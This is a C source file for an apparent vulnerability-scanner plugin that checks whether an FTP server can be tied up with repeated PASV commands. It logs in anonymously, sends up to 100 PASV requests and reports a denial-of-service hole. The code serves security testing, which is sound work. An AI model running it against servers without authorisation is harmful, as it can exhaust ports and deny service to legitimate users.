/*
 * 
 * ftp_pasv_check
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>

#define NAME "ftp PASV denial of service"
#define DESC "\
Some FTP servers allow any user to make any number of PASV\n\
commands, thus blocking the free ports for legitimate services\n\
This plugin attempts to issue a given number of those commands\n\n\n\
Risk factor : medium"

#define COPYRIGHT "no copyright"
#define SUMM "attempts to do a PASV dos"



int get_pasv_address(int soc, struct sockaddr_in * addr);

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
  plug_set_name(desc, NAME);
  plug_set_description(desc, DESC);
  plug_set_summary(desc, SUMM);
  plug_set_copyright(desc, COPYRIGHT);
  plug_set_category(desc, ACT_ATTACK);
  plug_set_family(desc, "FTP");
  return(0);
}
	


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
 int soc;
 char * buf;
 int stop = 0;
 struct sockaddr_in addr;
 if(!plug_get_key(args, "ftp/anonymous_access"))return(0);
 if(host_get_port_state(args, 21)<=0)return(0);
 soc = open_sock_tcp(args, 21);
 if(soc<0)return(-1);
 buf = emalloc(2048);
 
 if(!ftp_log_in(soc, "ftp", "joe@"))
   {
    int i;
     if(buf[3]=='-')while(buf[3]=='-')recv_line(soc, buf, 2048);
     ftp_get_pasv_address(soc,&addr);
     for(i=0;(i<100) && (!stop);i++)
       {
	 send(soc, "PASV\n",5, 0);
	 bzero(buf, strlen(buf));
	 recv_line(soc, buf, 255);
	 if(strncmp(buf, "227", 3))stop = 1;
       }
     if(!stop)
     {
      int soc2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if(connect(soc2, (struct sockaddr *)&addr, sizeof(struct sockaddr))==-1)
       stop = 0;
      else 
       close(soc2);
     }  
     send(soc, "QUIT\n", 5, 0);
   }
 efree(&buf);
 socket_close(soc);
 
 if(!stop)
   {
     post_hole(args, 21, "\
The remote FTP server may be subject to a denial of\n\
service attack : it always answer to the PASV command\n\n\
Solution : change your FTP server");
   }
 return(0);
}

